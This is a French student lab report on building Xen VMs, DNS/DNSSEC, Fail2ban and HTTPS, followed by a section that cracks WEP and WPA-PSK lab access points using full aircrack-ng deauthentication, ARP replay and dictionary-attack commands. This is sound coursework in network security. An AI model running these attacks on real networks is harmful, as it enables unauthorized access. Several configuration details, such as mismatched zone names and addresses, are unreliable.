Atelier SysRes SE4 2025/2026 E8

Création du pont et des VM

Création du pont:

Dans capbreton, dans /etc/network/interfaces on renseigne notre pont pontclio

auto pontclio
iface pontclio inet manual
  bridge_ports none
  up ip link set $IFACE up
  down ip link set $IFACE down

Partitions

Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,

Pour démarrer notre VM nous exécutons la commande suivante:

xen create SE4.RS7.cfg

Ensuite nous pouvons vérifier si la VM est démarrée avec:

xen list

Par la suite nous nous connectons à la VM de cette manière:

xen console SE4.RS7

Ensuite créer les partitions var et home:

lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2

Et nous formatons ces disk avec ces deux commandes:

mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

mount /dev/xvdb1 /mnt

On copie les données et on démonte le fichier copié:

mv /var/* /mnt
unmount /mnt

Nous pouvons maintenant observer les changement:

mount -a

IP

Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

VM de service

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

iface eth0 inet6 auto

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

iface eth0 inet static
    address 192.168.7.2 
    netmask 255.255.255.0
    gateway 192.168.7.1

VM mandataire

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
    address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
    address 193.48.57.170/27
    gateway 193.48.57.164

iface eth1 inet6 auto

Tests

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fed3:d692/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr 
       valid_lft 942sec preferred_lft 842sec
    inet6 fe80::216:3eff:fed3:d693/64 scope link 
       valid_lft forever preferred_lft forever

Et voici l'état des interface de la machines mandataire Garage :

root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fee4:9c07/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr 
       valid_lft 893sec preferred_lft 793sec
    inet6 fe80::216:3eff:fee4:9c08/64 scope link 
       valid_lft forever preferred_lft forever

Test de la LAN

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

Et voici un ping de RS7 vers Garages

Test vers l'extérieur

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

Et voici un ping de RS7 vers l'extérieur en IPv6:

SSH

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

DNS

Configuration du résolveur

Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3

Configuration des zones

Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

zone "rs7.zone" {
    type primary;
    file "/etc/bind/zones/rs7.zone.signed";
    allow-transfer { secondaries; };
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
    key-directory "/etc/bind/rs7.dnssec";
    dnssec-policy "dnspol";
    inline-signing yes;
};

dnssec-policy "dnspol" {
    keys {
        ksk key-directory lifetime unlimited algorithm 13;
        zsk key-directory lifetime unlimited algorithm 13;
    };
    nsec3param;
};

acl "secondaries" {
    2001:660:4401:60a0:216:3eff:fed3:58ae;
    2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
    type secondary;
    file "/etc/bind/backup/c2vts.fr.zone";
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};

Création et configuration du fichier .zone

Nous avons ensuite créé et configuré le fichier rs7.zone.

$TTL 200
@       IN      SOA     ns.rs7.online. admin.rs7.online. (
        4004    ; Version
        21600   ; Refresh secondary    (6h)
        3600    ; Retry secondary      (1h)
        2592000 ; Expire if no refresh (30j)
        86400 ) ; Negative cache       (24h)

; Serveurs de noms
@        IN      NS      ns.rs7.online.
@        IN      NS      ns.c2vts.fr.

;Enregistrements A 
@        IN     A     193.48.57.170
ns       IN     A     193.48.57.170 

;Enregistrements AAAA
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www      IN     CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"

On charge la version du fichier de zone avec la commande suivante :

root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK

Vérifications

Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

DNSSEC

Configuration de la méthode automatique

Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

zone "rs7" {
    type primary;
    file "/etc/bind/zones/rs7.zone.signed";
    allow-transfer { secondaries; };
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
    key-directory "/etc/bind/rs7.dnssec";
    dnssec-policy "dnspol";
    inline-signing yes;
};

dnssec-policy "dnspol" {
    keys {
        ksk key-directory lifetime unlimited algorithm 13;
        zsk key-directory lifetime unlimited algorithm 13;
    };
    nsec3param;
};

acl "secondaries" {
    2001:660:4401:60a0:216:3eff:fed3:58ae;
    2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
    type secondary;
    file "/etc/bind/backup/c2vts.fr.zone";
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};

Génération des clés

ensuite nous créeons le répertoire qui va acceuillir nos clés:

mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys

et nous redémarrons le service :

service named restart

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private
Krs7.+013+57317.key	 rs7.online-ksk.key

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online :

Fail2ban

Pour se protéger contre les attaques par brute force sur le service SSH, nous utilisons l’outil Fail2ban. La première étape consiste à modifier le fichier jail.local afin d’y définir les paramètres de protection suivants :

[sshd]
enabled = true
port    = ssh
filter  = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime  = 600

Dans cette configuration :

• maxretry indique le nombre maximal de tentatives autorisées avant le bannissement ;
• findtime correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
• bantime définit la durée du bannissement de l’adresse IP fautive.

La commande fail2ban-client status sshd permet ensuite de consulter l’état du jail SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     1
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 0
   |- Total banned:     1
   `- Banned IP list:

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier jail.local :

[connect-refused]
enabled  = true
port     = domain
protocol = tcp
filter   = connect-refused
logpath  = /var/log/syslog
maxretry = 3
bantime  = 600
findtime = 600

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire filter.d, nommé connect-refused.conf, afin de définir les motifs de requêtes TCP à bloquer :

root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =

Enfin, la commande fail2ban-client status connect-refused permet de vérifier l’activité de ce jail, notamment les tentatives détectées et les adresses IP bannies.

root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     0
|  `- File list:        /var/log/syslog
`- Actions
   |- Currently banned: 0
   |- Total banned:     0
   `- Banned IP list:

HTTPS

Installation d'Apache2

Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :

aptitude install apache2

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :

a2enmod ssl

Activation du port HTTPS

Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :

root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
    Listen 443
</IfModule>

<IfModule mod_gnutls.c>
    Listen 443
</IfModule>

Configuration du certificat SSL

J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :

/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire

Configuration du domaine sécurisé

J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :

root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf 
 <VirtualHost *:80>
        ServerName rs7.online.
	ServerAlias www.rs7.online.
        Redirect permanent / https://rs7.online/  
 </VirtualHost>

 <VirtualHost *:443>

        ServerName rs7.online.
        DocumentRoot /var/www/rs7.online/
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
        SSLVerifyClient None
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
        SSLProxyEngine on
	<Directory /var/www/rs7.online>
		AllowOverride All
		Require all granted
	</Directory>
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined


 </VirtualHost>

Vérification du certificat SSL

Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :

c_rehash /etc/ssl/certs

Notre page web est maintenant accessible via http://rs7.online .

Effraction Wi-Fi

Cassage de clef WEP d’un point d’accès WiFi

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

• BSSID du point d’accès cible : 00:14:BF:63:1E:42
• Canal utilisé : 11

Passage de l’interface en mode monitor

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

airmon-ng start wlan0

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

Identification du réseau cible

Scan des réseaux protégés en WEP :

airodump-ng --encrypt WEP wlan0mon

Le réseau cible identifié présente les caractéristiques suivantes :

Capture du trafic

Capture ciblée du point d’accès :

airodump-ng --channel 11 \
            --bssid 00:14:BF:63:1E:42 \
            --write capture_wep \
            wlan0mon

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

Authentification d’une adresse MAC d’injection

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

aireplay-ng --fakeauth 0 \
            -a 00:14:BF:63:1E:42 \
            -h 02:11:22:33:44:55 \
            wlan0mon

• -a : BSSID réel du point d’accès
• -h : adresse MAC utilisée pour l’injection
• --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

Génération de trafic ARP (rejeu)

Afin d’accélérer l’accumulation d’IV :

aireplay-ng --arpreplay \
            -b 00:14:BF:63:1E:42 \
            -h 02:11:22:33:44:55 \
            wlan0mon

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

Désauthentification d’un client

Pour provoquer l’émission de nouvelles requêtes ARP :

aireplay-ng --deauth 5 \
            -a 00:14:BF:63:1E:42 \
            wlan0mon

Cette action force les stations à se reconnecter, générant du trafic exploitable.

Cassage de la clé

Lorsque le nombre d’IV atteint environ 45 000 :

aircrack-ng capture_wep-01.cap

Résultat obtenu :

- Nombre d’IV exploités : ~44 687 - Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE - Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

Cassage de mot de passe WPA-PSK par force brute

Identification du réseau cible

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil airodump-ng en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

sudo airodump-ng wlan1mon

wlan1mon correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

Paramètre	Valeur
ESSID	kracotte08
BSSID	44:AD:D9:5F:87:07
Canal	13
Chiffrement	WPA2
Authentification	PSK
Puissance signal	-38 dBm

Une station cliente connectée a également été détectée :

• Adresse MAC : 40:A5:EF:01:25:8B

Capture du handshake WPA

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon

• -c 13 : écoute sur le canal du point d’accès.
• --bssid : filtrage du réseau cible uniquement.
• -w : sauvegarde des paquets capturés.
• wlan1mon : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

Forçage de la reconnexion des clients

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon

• -0 10 : envoi de 10 trames de désauthentification.
• -a : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans airodump-ng.

Sortie observée :

Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]

Absence de capture du handshake

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

WPA handshake: 44:AD:D9:5F:87:07

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

seq -w 00000000 99999999 > dictionnaire.txt

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

Tentative de cassage du mot de passe

La commande suivante permet de lancer l’attaque par dictionnaire :

aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

Sécurisation WiFi par WPA2-EAP

Objectif

L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme d’authentification WPA2-Enterprise (WPA2-EAP). Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé FreeRadius permettant une authentification individuelle des utilisateurs.

L’infrastructure repose sur :

• un VLAN personnel dédié ;
• une redondance des routeurs via VRRP ;
• un serveur FreeRadius installé sur la machine virtuelle de services.

Accès aux équipements réseau

La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :

ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\
diffie-hellman-group14-sha1,\
diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=ssh-rsa \
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\
aes128-ctr,aes192-ctr,aes256-ctr \
admin@172.27.0.2

Adressage des équipements

Equipement	Adresse IP
Routeur C9200 E304	172.27.0.1
Routeur C9200 E306	172.27.0.2
Borne WiFi E306	172.27.0.3
Borne WiFi E304	172.27.0.4

Création du VLAN personnel

Le VLAN personnel attribué est le VLAN 18.

Sur les deux routeurs

conf t
vlan 18
 name VLAN_YASSINE
exit

Configuration des interfaces VLAN

Routeur principal (E304)

interface vlan 18
 ip address 10.60.8.2 255.255.255.0
 vrrp 18 address 10.60.8.1
 vrrp 18 priority 110
 vrrp 18 preempt
 no shutdown

Routeur secondaire (E306)

interface vlan 18
 ip address 10.60.8.3 255.255.255.0
 vrrp 18 address 10.60.8.1
 vrrp 18 priority 100
 vrrp 18 preempt
 no shutdown

L’adresse virtuelle 10.60.8.1 constitue la passerelle par défaut des clients WiFi.

Configuration DHCP

Le serveur DHCP est réparti entre les deux routeurs.

Routeur E304

ip dhcp pool PoolYassine-A
 network 10.60.8.0 255.255.255.0
 default-router 10.60.8.1
 dns-server 192.168.7.2
 address range 10.60.8.100 10.60.8.150

Routeur E306

ip dhcp pool PoolYassine-B
 network 10.60.8.0 255.255.255.0
 default-router 10.60.8.1
 dns-server 192.168.7.2
 address range 10.60.8.151 10.60.8.200

Routage vers la machine mandataire (PBR)

Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.

access-list 101 permit ip 10.60.8.0 0.0.0.255 any

route-map PBR-YASSINE permit 10
 match ip address 101
 set ip next-hop 192.168.7.1

Application :

interface vlan 18
 ip policy route-map PBR-YASSINE

Configuration du serveur FreeRadius

Sur la machine virtuelle de services (192.168.7.2) :

Installation :

apt install freeradius freeradius-utils

Ajout du point d’accès WiFi :